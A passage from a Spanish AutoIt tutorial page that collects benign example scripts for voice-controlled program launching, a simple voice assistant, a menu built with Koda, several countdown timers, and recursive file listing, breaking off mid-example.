| #include "./Include/Utter.au3"  **; #include <Utter.au3>**  #include <GUIConstantsEx.au3>  #include <StaticConstants.au3>  #include <WindowsConstants.au3>  #include <SendMessage.au3>  $Form1 = GUICreate("Abrir aplicaciones - Juan A. Villalpando"**,** 400**,** 400**,** 200**,** 200)  GUISetBkColor(0xffffff**,** $Form1)  **; Juan A. Villalpando. KIO4.COM. juana1991@yahoo.com**  GUISetState()  $reconoce = \_Utter\_Speech\_StartEngine()  \_Utter\_Speech\_CreateGrammar($reconoce**,**"Paint|Bloc de notas|Calculadora|Word|Símbolo de sistema|Reproductor de Windows|Cerrar Bloc de notas|Cerrar Paint|Cerrar Calculadora")  \_Utter\_Speech\_CreateTokens($reconoce)  \_Utter\_Speech\_GrammarRecognize($reconoce**,**""**,**0**,**"\_spchin")  **While** 1  $msg = GUIGetMsg()  **Switch** $msg  **Case** $GUI\_EVENT\_CLOSE  **ExitLoop**  **EndSwitch**  **WEnd**  \_Utter\_Speech\_ShutdownEngine()  **Func** \_spchin($color)  ConsoleWrite($color)  **Switch** $color  **Case** "Paint"  ShellExecute("mspaint.exe"**,**""**,**"C:\Windows\System32\")  **Case** "Bloc de notas"  ShellExecute("notepad.exe"**,**""**,**"C:\Windows\System32\")  **Case** "Calculadora"  ShellExecute("calc.exe"**,**""**,**"C:\Windows\System32\")  **Case** "Word"  ShellExecute("winword.exe"**,**""**,**"C:\Program Files (x86)\Microsoft Office\Office12\")  **Case** "Símbolo de sistema"  ShellExecute("cmd.exe"**,**""**,**"C:\Windows\System32\")  **Case** "Reproductor de Windows"  ShellExecute("wmplayer.exe"**,**""**,**"C:\Program Files\Windows Media Player\")  **Case** "Cerrar Bloc de notas"  WinClose("[CLASS:Notepad]")  **Case** "Cerrar Paint"  WinClose("[CLASS:MSPaintApp]")  **Case** "Cerrar Calculadora"  WinClose("[CLASS:CalcFrame]")  **EndSwitch**  **EndFunc** |

- Mediante la utilidad **AU3Info**, **arrastando** el icono de **Finder Tool** a la barra superior de una aplicación podemos ver como se llama su **Class**, en este caso **CalcFrame**.

**\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_  
4.- Ejemplo de reconocimiento de dictado.**

- Hablamos durante 10 segundos o el tiempo que establezcamos, observa el 10000 en el código.

|  |
| --- |
| **Example 3 (Free Word Recognition)** |
| #include "./Include/Utter.au3"  \_Utter\_Speech\_CreateFreeGrammar(10000**,**"\_spchin") **; Create free grammar and load words from system dictionary lasting for 3 seconds**  **Func** \_spchin($dummy)  ConsoleWrite($dummy)  **Switch** $dummy  **Case** "exit" **;exit the script when the user says exit**  **Exit**  **EndSwitch**  **EndFunc** |

**\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_  
5.- Otro código con otra API.**

- Hablamos delante del micrófono.

- <https://www.autoitscript.com/forum/topic/115203-basic-speech-recognition/>

|  |
| --- |
| **SAPI.SpInProcRecoContext** |
| **Global** $h\_Context = ObjCreate("SAPI.SpInProcRecoContext")  **Global** $h\_Recognizer = $h\_Context**.**Recognizer  **Global** $h\_Grammar = $h\_Context**.**CreateGrammar(1)  $h\_Grammar**.**Dictationload  $h\_Grammar**.**DictationSetState(1)  **Global** $voice = ObjCreate("SAPI.SpVoice")  **global** $text = 0  **Global** $times = 0  **Global** $times2 = 1  **Global** $PF = @ProgramFilesDir  **;Create a token for the default audio input device and set it**  **Global** $h\_Category = ObjCreate("SAPI.SpObjectTokenCategory")  $h\_Category**.**SetId("HKEY\_LOCAL\_MACHINE\SOFTWARE\Microsoft\Speech\AudioInput\TokenEnums\MMAudioIn\")  **Global** $h\_Token = ObjCreate("SAPI.SpObjectToken")  $h\_Token**.**SetId("HKEY\_LOCAL\_MACHINE\SOFTWARE\Microsoft\Speech\AudioInput\TokenEnums\MMAudioIn\")  $h\_Recognizer**.**AudioInput = $h\_Token  **Global** $i\_ObjInitialized = 0  **Global** $h\_ObjectEvents = ObjEvent($h\_Context**,** "SpRecEvent\_")  **If** @error **Then**  ConsoleWrite("ObjEvent error: " & @error & @CRLF)  $i\_ObjInitialized = 0  **Else**  ConsoleWrite("ObjEvent created Successfully!" & @CRLF)  $i\_ObjInitialized = 1  **EndIf**  **While** $i\_ObjInitialized  Sleep(5000) **;Allow the Audio In to finalize processing on the last 5 second capture**  $h\_Context**.**Pause **;Resume audio in processing**  $h\_Context**.**Resume **;Reset event function allocation (what is this? I think its garbage collection or something, needs clarification)**  $h\_ObjectEvents = ObjEvent($h\_Context**,** "SpRecEvent\_")  **WEnd**  **Func** SpRecEvent\_Hypothesis($StreamNumber**,** $StreamPosition**,** $Result)  ConsoleWrite("Hypothesis(): Hypothized text is: " & $Result**.**PhraseInfo**.**GetText & @CRLF)  **EndFunc** **;==>SpRecEvent\_Hypothesis**  **Func** SpRecEvent\_Recognition($StreamNumber**,** $StreamPosition**,** $RecognitionType**,** $Result)  ConsoleWrite($RecognitionType & "||" & $Result**.**PhraseInfo**.**GetText & @CRLF)  **if** $Result**.**PhraseInfo**.**GetText = "jarvis" and $times = not 1 **Then**  call("jarvis")  **EndIf**  **if** $times = 1 and $times2 = 0 **Then**  $q1 = $Result**.**PhraseInfo**.**GetText**;InputBox("question for jarvis", "")**  call("Aknowledge"**,**$q1)  **EndIf**  **EndFunc** **;==>SpRecEvent\_Recognition**  **Func** SpRecEvent\_SoundStart($StreamNumber**,** $StreamPosition)  ConsoleWrite("Sound Started" & @CRLF)  **EndFunc** **;==>SpRecEvent\_SoundStart**  **Func** SpRecEvent\_SoundEnd($StreamNumber**,** $StreamPosition)  ConsoleWrite("Sound Ended" & @CRLF)  **EndFunc** **;==>SpRecEvent\_SoundEnd**  **func** jarvis()  $string = "Sir?"  $Voice**.**Speak($string**,**11)  Sleep(500)  $times = 1  $times2 = 0  **;$q1 = $Result.PhraseInfo.GetText;InputBox("question for jarvis", "")**  **;call("Aknowledge",$q1)**  **EndFunc**  **func** aknowledge($q1)  **Select**  **case** $q1 = "Open mail"  Call("open\_mail")  **case** $q1 = "Close mail"  call("close\_mail")  **case** $q1 = "get time"  $text = ", the time is " & @hour & " hours " & @min & " minutes"  $times2 = 1  **case** $q1 = "get date"  call("get\_date")  **case** $q1 = "goodbye"  call("Good\_bye")  **case** $q1 = "go to sleep"  $text = "going to sleep"  **case** $q1 = "start team speak"  call("open\_teamspeak")  **case** $q1 = "close team speak"  call("close\_teamspeak")  **case** $q1 = "lights on all"  Call("Lights\_on\_all")  **case** $q1 = "lights off all"  call("Lights\_off\_all")  **case** $q1 = ""  $text = "sorry you haven't specified what you wanted from me"  **EndSelect**  **if** $text = not 0 **then**  $string = "of course Sir " & $text  $Voice**.**Speak($string**,**11)  Sleep(2000)  $times = 0  **endif**  **;select**  **;case $q1 = "good bye"**  **;exit**  **;case $q1 = "go to sleep"**  **;WinSetState("J.A.R.V.I.S 1.0 Beta","" ,@SW\_MINIMIZE)**  **;EndSelect**  $q1 = 0  $text = 0  **EndFunc**  **func** good\_bye()  $t1 = @HOUR  **select**  **case** $t1 >= 12 and $t1 < 18  $text = "have a nice afternoon"  **case** $t1 < 12 and $t1 > 5  $text = "have a nice day"  **case** $t1 > 18 and $t1 < 23  $text = "have a pleasant night"  **EndSelect**  $times2 = 1  **;MsgBox(0, "test", $text) ; encoutered problems with $text variable**  **; the variable doesn't get returned to the speech part**  **;made variable $text a global and this resolved the problem**  **endfunc**  **func** open\_mail()  $text = "opening your'e mail now"  run("C:\Program Files (x86)\Microsoft Office\Office14\OUTLOOK.exe")  winwaitactive("Inbox")  $times2 = 1  **EndFunc**    **func** close\_mail()  $p1 =ProcessExists("OUTLOOK.EXE")  **if** $p1 = 0 **Then**  $text = ", you have no mail programm running"  **else**  $text = "closing your'e mail"  ProcessClose("OUTLOOK.EXE")  **EndIf**  $times2 = 1  **EndFunc**  **func** open\_teamspeak()  $text = "starting Team Speak"  **;run($PF &"\FalNET G19 Display Manager\FalNET G19 Display Manager.exe")**  WinWaitActive("FalNET G19 Display Manager"**,** "")  WinSetState("FalNET G19 Display Manager"**,** ""**,**@SW\_MINIMIZE)  run($PF &"\TeamSpeak 3 Client\ts3client\_win64.exe")  WinWaitActive("TeamSpeak 3"**,** "")  Send("^s")  WinWaitActive("Connect"**,** "")  send("{enter}")  $times2 = 1  **EndFunc**  **func** close\_teamspeak()  $text = "closing Team Speak"  $p1 = ProcessExists("ts3client\_win64.exe")  $p2 = ProcessExists("FalNET G19 Display Manager.exe")  **if** $p1 = 0 **Then**  $text = "no Team Speak running"  **Else**  ProcessClose("ts3client\_win64.exe")  **;WinSetState("TeamSpeak3", " ",@sw\_show)**    **EndIf**  **if** $p2 = 0 **then**  **Else**  ProcessClose("FalNET G19 Display Manager.exe")  **EndIf**  $times2 = 1  **EndFunc**  **func** get\_date()  $year = @YEAR  $month1 =@MON  $day1 = @MDAY  $day2 = @WDAY  **; converting day number to the name of that day**  **Select**  **Case** $day2 = 1  $day3 = "Sunday"  **Case** $day2 = 2  $day3 = "monday"  **case** $day2 = 3  $day3 = "Tuesday"  **case** $day2 = 4  $day3 = "wensday"  **Case** $day2 = 5  $day3 = "Thursday"  **Case** $day2 = 6  $day3 = "Friday"  **case** $day2 = 7  $day3 = "Saturday"  **EndSelect**  **;converting number of month to name of that month**  **Select**  **Case** $month1 = 01  $month2 = "January"  **Case** $month1 = 02  $month2 = "February"  **Case** $month1 = 03  $month2 = "March"  **Case** $month1 = 04  $month2 = "April"  **Case** $month1 = 05  $month2 = "May"  **Case** $month1 = 06  $month2 = "June"  **Case** $month1 = 07  $month2 = "July"  **Case** $month1 = 08  $month2 = "August"  **Case** $month1 = 09  $month2 = "September"  **Case** $month1 = 10  $month2 = "October"  **Case** $month1 = 11  $month2 = "November"  **Case** $month1 = 12  $month2 = "December"  **EndSelect**  $text = "The date is: " & $day3 & " "& $day1 & " of " & $month2 & " " & $year  $times2 = 1  **EndFunc**  **; the Lights functions will grow when i figured out how to**  **; combine this programm with my lighting scheme**  **func** Lights\_on\_all()  $text = " Turning all lights on"  **EndFunc**  **func** Lights\_off\_all()  $text = " turning all lights off"  **EndFunc** |

**\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_  
6.- Otro código con otra API.**

<https://www.autoitscript.com/forum/topic/114742-sapilistbox-speech-recognition-udf/>

**31.- Menú. Submenú.**

[**menu.exe**](http://kio4.com/autoit/programas/suma_colores.exe)

- Vamos a crear una ventana con un menú superior y submenús.

**---------------------------------------------------------------------------------------------------------------------------**

**- Koda.**

- Pulsa para sacar el **Menu Designer**. Pulsa con el**botón derecho del ratón**para **Insertar** nuevo elemento y para **Crear el Submenú**.

- En**Caption** pones el nombre del elemento del menú.

**\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_**

**- Código completo.**

|  |
| --- |
| **menu.au3** |
| #include <GUIConstantsEx.au3> #include <WindowsConstants.au3>  #Region ### START Koda GUI section ### Form=d:\kio4\autoit\programas\menu.kxf $Form3 = GUICreate("Menú - Juan A. Villalpando",763, 421, 344, 136) $MenuItem1 = GUICtrlCreateMenu("&Aplicaciones") $MenuItem5 = GUICtrlCreateMenuItem("Calendario", $MenuItem1) $MenuItem7 = GUICtrlCreateMenuItem("Suma colores", $MenuItem1) $MenuItem6 = GUICtrlCreateMenuItem("Parabólico", $MenuItem1) $MenuItem4 = GUICtrlCreateMenu("&Webs") $MenuItem8 = GUICtrlCreateMenuItem("KIO4", $MenuItem4) $MenuItem9 = GUICtrlCreateMenuItem("AutoIt", $MenuItem4) $MenuItem10 = GUICtrlCreateMenuItem("El tiempo", $MenuItem4) $MenuItem3 = GUICtrlCreateMenu("A&cerca de...") $MenuItem11 = GUICtrlCreateMenuItem("En ventana", $MenuItem3) $MenuItem12 = GUICtrlCreateMenuItem("Emergente", $MenuItem3) GUISetState(@SW\_SHOW) #EndRegion ### END Koda GUI section ###  While 1 $msg = GuiGetMsg() Select Case $msg = $GUI\_EVENT\_CLOSE ExitLoop      EndSelect Wend Exit |

**\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_**

**- Comentarios.**

-

**\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_  
- Propuesta.**

**33.- Temporizador. TimerInit. TimerDiff .**

- Vamos a ver ejemplos de temporizadores obtenido de los foros.

**\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_  
1.- Temporizador visible.**

- <https://www.autoitscript.com/forum/topic/81919-setting-up-a-timer/>

- En el código escribe un número de minutos, por ejemplo: 2.

- Mediante **ToolTip** saldrá una ventanita en la parte superior derecha de la pantalla donde irá evolucionando el tiempo.

- Al cabo de los 2 minutos saldrá una Caja de Mensajes indicando la finalización.

|  |
| --- |
| **Temporizador** |
| $Minutes = 2 **; Esperará 2 minutos.**  **Local** $60Count = 0**,** $begin = TimerInit()  **While** $Minutes > $60Count  $dif = TimerDiff($begin)  $dif2 = StringLeft($dif**,** StringInStr($dif**,** ".") -1)  $Count = int($dif/1000)  $60Count = Int($Count / 60)  ToolTip("Minutos finales = " & $Minutes & @CRLF & "Minutos pasados = " & $60Count & @CRLF & "Segundos pasados = " & $Count & @CRLF & "Milisegundos pasados = " & $dif2**,** 20**,** 20**,** "Reloj"**,** 1)  Sleep(20)  **WEnd**  MsgBox(64**,** "Fin de tiempo,"**,** "Han pasado " & $Minutes & " minutos.") |

**\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_  
2.- Cuenta atrás.**

- <https://www.autoitscript.com/forum/topic/127667-how-to-create-a-countdown-timer-in-autoit/>

- En el código establecemos: 20000, que son 20 segundos. Comenzará una cuenta atrás.

- Observa que la ventana no tiene el icono de cerrar la aplicación.

|  |
| --- |
| **Cuenta atrás.** |
| #include <WindowsConstants.au3>  **Global** $SS\_CENTER**,** $\_CompteArebour = 20000**,** $\_Minutes**,** $\_Seconds  $\_GuiCountDown = GUICreate("CountDown..."**,** 350**,** 200**,** @DesktopWidth/2 -250**,** @DesktopHeight/2 -100**,** $WS\_EX\_TOPMOST)  GUISetBkColor (0xFFFF00)  $TimeLabel = GUICtrlCreateLabel (""**,** 35**,** -10**,** 480**,** 180**,** $SS\_CENTER)  GUICtrlSetFont ( -1**,** 50**,** 800)  GUISetState ()  WinSetOnTop ($\_GuiCountDown**,** ""**,** 1)  $TimeTicks = TimerInit ()  **While** 1  \_Check ()  Sleep (200)  **WEnd**  **Func** \_Check ()  $\_CompteArebour -= TimerDiff ($TimeTicks)  $TimeTicks = TimerInit ()  **Local** $\_MinCalc = Int ($\_CompteArebour / (60 \* 1000))**,** $\_SecCalc = $\_CompteArebour - ($\_MinCalc \* 60 \* 1000)  $\_SecCalc = Int ($\_SecCalc / 1000)  **If** $\_MinCalc <= 0 And $\_SecCalc <= 0 **Then**  GUISetBkColor (0xFF0000**,** $\_GuiCountDown)  GUICtrlSetData ($TimeLabel**,** "Bye !")  Sleep ( 1000 )  **; If @Compiled Then Shutdown (13)**  **Exit**  **Else**  **If** $\_MinCalc <> $\_Minutes Or $\_SecCalc <> $\_Seconds **Then**  $\_Minutes = $\_MinCalc  $\_Seconds = $\_SecCalc  GUICtrlSetData ( $TimeLabel**,** StringFormat ("%02u" & ":" & "%02u"**,** $\_Minutes**,** $\_Seconds))  **If** $\_Minutes = 0 And $\_Seconds <= 10 **Then**  Beep ( 1200**,** 100 )  GUISetBkColor (0xA093FF**,** $\_GuiCountDown)  **EndIf**  **EndIf**  **EndIf**  **EndFunc** **;==> \_Check ()** |

**\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_  
3.- Cuenta atrás.**

- <https://www.autoitscript.com/forum/topic/38283-how-can-i-make-countdown-timer/>

|  |
| --- |
| **Cuenta atrás.** |
| #include <GUIConstants.au3>  **#Region ### START Koda GUI section ### Form=**  $Form1 = GUICreate("AForm1"**,** 122**,** 42**,** 438**,** 156)  $Label1 = GUICtrlCreateLabel("02:00"**,** 8**,** 8**,** 43**,** 17)  GUISetState(@SW\_SHOW)  **#EndRegion ### END Koda GUI section ###**  $time=TimerInit()  **While** 1  $nMsg = GUIGetMsg()  **Switch** $nMsg  **Case** $GUI\_EVENT\_CLOSE  **Exit**  **EndSwitch**  $new = TimerDiff ($time)  $new = (2\*60\*1000)-$new  $seconds = Round ($new/1000)  $newMin = Floor ($seconds/60)  $newSec = Mod ($seconds**,** 60)  **If** $newSec < 10 **Then** $newSec = "0"&$newSec  GUICtrlSetData ($Label1**,** $newMin&":"&$newSec)  **WEnd** |

**\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_  
4.- Cuenta atrás.**

- <https://www.autoitscript.com/forum/topic/39209-countdown-timer-help/>

|  |
| --- |
| **Cuenta atrás.** |
| #include <GUIConstants.au3>  **#Region ### START Koda GUI section ### Form=**  $Form1 = GUICreate("TeaTime"**,** 163**,** 147**,** 193**,** 115)  $Label1 = GUICtrlCreateLabel("5 Minute Tea Timer"**,** 24**,** 16**,** 114**,** 17)  GUICtrlSetFont(-1**,** 8**,** 800**,** 0**,** "MS Sans Serif")  $Label1 = GUICtrlCreateLabel("5:00"**,** 56**,** 48**,** 49**,** 33)  GUICtrlSetFont(-1**,** 18**,** 400**,** 0**,** "MS Sans Serif")  $Button1 = GUICtrlCreateButton("Start"**,** 24**,** 96**,** 49**,** 17**,** 0)  $Button2 = GUICtrlCreateButton("Exit"**,** 88**,** 96**,** 49**,** 17**,** 0)  GUISetState(@SW\_SHOW)  **#EndRegion ### END Koda GUI section ###**  **Global** $timer**,** $bCountdown = False  **While** 1  $nMsg = GUIGetMsg()  **Switch** $nMsg  **Case** $GUI\_EVENT\_CLOSE  **Exit**  **Case** $Button2  **Exit**  **Case** $Button1  $bCountdown = True  $timer = TimerInit()  **EndSwitch**  **If** $bCountdown **Then** UpdateTimer()  **WEnd**  **Func** UpdateTimer()  $new = TimerDiff($timer)  $new = (0.1 \* 60 \* 1000) - $new  $seconds = Round($new / 1000)  $newMin = Floor($seconds / 60)  $newSec = Mod($seconds**,** 60)  **If** $newSec < 10 **Then** $newSec = "0" & $newSec  **If** $newMin & ":" & $newSec = "0:00" **Then** $bCountdown = False  GUICtrlSetData($Label1**,** $newMin & ":" & $newSec)  **EndFunc** **;==>UpdateTimer** |

**\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_  
7.- Reloj.**

- <https://www.autoitscript.com/forum/topic/149448-timer-example-with-very-low-cpu-use-updated/>

|  |
| --- |
| **Reloj.** |
| #NoTrayIcon  #include <GUIConstantsEx.au3>  #include <StaticConstants.au3>  #include <WindowsConstants.au3>  Opt("MustDeclareVars"**,** 1)  Opt("GUIOnEventMode"**,** 1)  **Local** $hForm = GUICreate("CounterTimer Sample"**,** 184**,** 66**,** -1**,** 250**,** -1**,** BitOR($WS\_EX\_TOPMOST**,**$WS\_EX\_WINDOWEDGE))  GUISetOnEvent($GUI\_EVENT\_CLOSE**,** "\_ExitApp")  **Local** $Lbl\_hour = GUICtrlCreateLabel("0"**,** 16**,** 20**,** 40**,** 41**,** BitOR($SS\_CENTER**,**$SS\_CENTERIMAGE))  GUICtrlSetFont(-1**,** 24**,** 400**,** 0**,** "MS Sans Serif")  GUICtrlCreateLabel(":"**,** 56**,** 16**,** 13**,** 41**,** BitOR($SS\_CENTER**,**$SS\_CENTERIMAGE))  GUICtrlSetFont(-1**,** 24**,** 400**,** 0**,** "MS Sans Serif")  **Local** $Lbl\_min = GUICtrlCreateLabel("0"**,** 72**,** 20**,** 40**,** 41**,** BitOR($SS\_CENTER**,**$SS\_CENTERIMAGE))  GUICtrlSetFont(-1**,** 24**,** 400**,** 0**,** "MS Sans Serif")  GUICtrlCreateLabel(":"**,** 112**,** 16**,** 13**,** 41**,** BitOR($SS\_CENTER**,**$SS\_CENTERIMAGE))  GUICtrlSetFont(-1**,** 24**,** 400**,** 0**,** "MS Sans Serif")  **Local** $Lbl\_sec = GUICtrlCreateLabel("0"**,** 128**,** 20**,** 40**,** 41**,** BitOR($SS\_CENTER**,**$SS\_CENTERIMAGE))  GUICtrlSetFont(-1**,** 24**,** 400**,** 0**,** "MS Sans Serif")  **Local** $Lbl\_disc = GUICtrlCreateLabel("Made by gil900"**,** 40**,** 3**,** 100**,** 20**,** BitOR($SS\_CENTER**,**$SS\_CENTERIMAGE))  GUICtrlSetState(-1**,** $GUI\_DISABLE)  GUISetState(@SW\_SHOW)  **Local** $h = 0 **,** $m = 0 **,** $s = 0  **While** 1  Sleep(1000)  $s = $s+1  **If** $s = 60 **Then**  $s = 0  $m = $m+1  **If** $m < 60 **Then** GUICtrlSetData($Lbl\_min**,**$m)  **EndIf**  **If** $m = 60 **Then**  $m = 0  $h = $h+1  GUICtrlSetData($Lbl\_min**,**$m)  GUICtrlSetData($Lbl\_hour**,**$h)  **EndIf**  GUICtrlSetData($Lbl\_sec**,**$s)  **WEnd**  **Func** \_ExitApp()  GUIDelete()  **Exit**  **EndFunc** |

**\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_  
8.- Cuenta atrás.**

- <https://www.autoitscript.com/forum/topic/75932-timer/>

- Tiene una barra de evolución.

|  |
| --- |
| **Cuenta atrás.** |
| #include <GUIConstants.au3>  GUICreate("Clock"**,** 210**,** 100)  $OK\_Btn = GUICtrlCreateButton("Start"**,** 10**,** 10**,** 70**,** 25)  $std = GUICtrlCreateInput ("Hours"**,** 90**,** 10**,** 50**,** 25)  $min = GUICtrlCreateInput ("Min"**,** 150**,** 10**,** 50**,** 25)  GuiCtrlCreateLabel(":"**,** 142**,** 14**,** 5**,** 25)  $lab = GUICtrlCreateLabel("Time left: "**,** 10**,** 50**,** 200**,** 20)  $progressbar1 = GUICtrlCreateProgress (10**,**70**,**190**,**20)  GUISetState(@SW\_SHOW)  **While** 1  $msg = GUIGetMsg()  **Select**  **Case** $msg = $GUI\_EVENT\_CLOSE  GUIDelete()  **Exit**  **Case** $msg = $OK\_Btn  **if** GUICtrlRead($OK\_Btn) = "Start" **Then**  $time = (StringIsDigit(GUICtrlRead($std)) Or StringIsFloat(GUICtrlRead($std)))\* GUICtrlRead($std) \* 3600  $time += (StringIsDigit(GUICtrlRead($min)) Or StringIsFloat(GUICtrlRead($min))) \* GUICtrlRead($min) \* 60  GUICtrlSetData ($OK\_Btn**,**"Stop")  $begin = TimerInit()  **While** Int(TimerDiff($begin)/1000) <= $time  $Diffhour = Int($time/3600 - TimerDiff($begin)/3600000)  $Diffmin = Int(Mod($time/60 - TimerDiff($begin)/60000**,** 60))  $Diffsek = Int(Mod($time - TimerDiff($begin)/1000**,** 60))  GUICtrlSetData($lab**,** "Time Left: " & $Diffhour & " h " & $DiffMin & " min " & $Diffsek & " sec ")  GUICtrlSetData($progressbar1**,** (Int(TimerDiff($begin)/1000)/$time)\*100)  **if** Int(TimerDiff($begin)/1000) = $time **then**  GUICtrlSetData($progressbar1**,** 100)  SoundPlay(@WindowsDir & "\Media\Tada.wav"**,** 1)  GUICtrlSetData($progressbar1**,** 0)  GUICtrlSetData ($OK\_Btn**,**"Start")  **ContinueCase**  **EndIf**  **if** GUIGetMsg() = $OK\_Btn **then**  GUICtrlSetData($progressbar1**,** 0)  GUICtrlSetData ($OK\_Btn**,**"Start")  **ContinueCase**  **EndIf**  Sleep(10)  **WEnd**  **ElseIf** GUICtrlRead($OK\_Btn) = "Stop" **Then**  GUICtrlSetData ($OK\_Btn**,**"Start")  **EndIf**  **Case** @error  **EndSelect**  **WEnd** |

|  |
| --- |
| **Otra versión cuenta atrás.** |
| #include <GUIConstants.au3>  GUICreate("Quick Timer"**,** 210**,** 115)  $OK\_Btn = GUICtrlCreateButton("Start"**,** 10**,** 25**,** 70**,** 25)  $std = GUICtrlCreateInput ( ""**,** 90**,** 25**,** 50**,** 25)  $hidde = GUICtrlCreateInput(""**,** 150**,** 25**,** 50**,** 25)  GuiCtrlCreateLabel("Hours"**,** 90**,** 10**,** 50**,** 15)  GuiCtrlCreateLabel("Minutes"**,** 150**,** 10**,** 70**,** 15)  GuiCtrlCreateLabel(":"**,** 142**,** 29**,** 5**,** 25)  $progressbar1 = GUICtrlCreateProgress (10**,**85**,**190**,**20)  $Minutes = GUICtrlCreateCombo("Minutes 0"**,** 110**,** 55**,** 80**,** 25) **;added zero to keep from erroring out.**  GUICtrlSetData(-1**,** "1 Minutes|3 Minutes|5 Minutes|10 Minutes|15 Minutes|20 Minutes|25 Minutes|30 Minutes|45 Minutes|50 Minutes|59 Minutes")  $Hours = GUICtrlCreateCombo("Hours 0"**,** 10**,** 55**,** 65**,** 25) **;added zero to keep from erroring out.**  GUICtrlSetData(-1**,** "1 Hour|2 Hours|3 Hours|4 Hours|5 Hours|6 Hours|7 Hours|8 Hours|9 Hours")  GUISetState(@SW\_SHOW)  **While** 1  $msg = GUIGetMsg()  **Select**  **Case** $msg = $GUI\_EVENT\_CLOSE  GUIDelete()  **Exit**  **Case** $msg = $OK\_Btn  **if** GUICtrlRead($OK\_Btn) = "Start" **Then**  $asminuteResult = StringRegExp(GUICtrlRead($Minutes)**,** '([\+-]\*\d+\.\*\d\*)'**,** 1)  GUICtrlSetData ($hidde**,** $asminuteResult[0])  $ashourResult = StringRegExp(GUICtrlRead($Hours)**,** '([\+-]\*\d+\.\*\d\*)'**,** 1)  GUICtrlSetData ($std**,** $ashourResult[0])  $time = GUICtrlRead($std)\*3600+GUICtrlRead($hidde)\*60  GUICtrlSetData ($OK\_Btn**,**"Stop")  $begin = TimerInit()  **While** Int(TimerDiff($begin)/1000) <= $time  GUICtrlSetData($progressbar1**,** (Int(TimerDiff($begin)/1000)/$time)\*100)  **if** Int(TimerDiff($begin)/1000) = $time **then**  GUICtrlSetData($progressbar1**,** 100)  SoundPlay(@WindowsDir & "\Media\Tada.wav"**,** 1)  GUICtrlSetData($progressbar1**,** 0)  GUICtrlSetData ($OK\_Btn**,**"Start")  **ContinueCase**  **EndIf**  **if** GUIGetMsg() = $OK\_Btn **then**  GUICtrlSetData($progressbar1**,** 0)  GUICtrlSetData ($OK\_Btn**,**"Start")  **ContinueCase**  **EndIf**  **WEnd**  **ElseIf** GUICtrlRead($OK\_Btn) = "Stop" **Then**  GUICtrlSetData ($OK\_Btn**,**"Start")  **EndIf**  **Case** @error  **EndSelect**  **WEnd** |

**\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_**

**34.- Listado de archivos y carpetas.**

- Vamos a ver ejemplos de temporizadores obtenido de los foros.

**\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_  
1.- Temporizador visible.**

- <https://www.autoitscript.com/forum/topic/192295-how-to-find-files-in-subfolders/>

- En distintos Msg va presentado listados de archivos y carpetas ordenados.

|  |
| --- |
| **Listado** |
| #include <Array.au3>  #include <File.au3>  #include <MsgBoxConstants.au3>  Example()  **Func** Example()  **Local** $sAutoItDir = StringLeft(@AutoItExe**,** StringInStr(@AutoItExe**,** "\"**,** **Default,** -1))  **If** StringRight($sAutoItDir**,** 5) = "beta\" **Then**  $sAutoItDir = StringTrimRight($sAutoItDir**,** 5)  **EndIf**  ConsoleWrite($sAutoItDir & @CRLF)  **; A sorted list of all files and folders in the AutoIt installation**  **Local** $aArray = \_FileListToArrayRec($sAutoItDir**,** "\*"**,** $FLTAR\_FILESFOLDERS**,** $FLTAR\_RECUR**,** $FLTAR\_SORT)  \_ArrayDisplay($aArray**,** "Sorted tree")  **; And now ignoring the "Include" folder**  $aArray = \_FileListToArrayRec($sAutoItDir**,** "\*||include"**,** $FLTAR\_FILESFOLDERS**,** $FLTAR\_RECUR**,** $FLTAR\_SORT)  \_ArrayDisplay($aArray**,** "No 'Include' folder")  **; A sorted list of all but the .exe files in the \AutoIt3 folder**  $aArray = \_FileListToArrayRec($sAutoItDir**,** "\*|\*.exe"**,** $FLTAR\_FILES**,** $FLTAR\_NORECUR**,** $FLTAR\_SORT)  \_ArrayDisplay($aArray**,** "Non .EXE files")  **; And here are the .exe files we left out last time**  $aArray = \_FileListToArrayRec($sAutoItDir**,** "\*.exe"**,** $FLTAR\_FILES)  \_ArrayDisplay($aArray**,** ".EXE Files")  **; A test for all folders and .exe files only throughout the folder tree, omitting folders beginning with I (Icons and Include)**  $aArray = \_FileListToArrayRec($sAutoItDir**,** "\*.exe||i\*"**,** $FLTAR\_FILESFOLDERS**,** $FLTAR\_RECUR**,** $FLTAR\_SORT)  \_ArrayDisplay($aArray**,** "Recur with filter")  **; Look for icon files - but exlude the "Icons" folder**  $aArray = 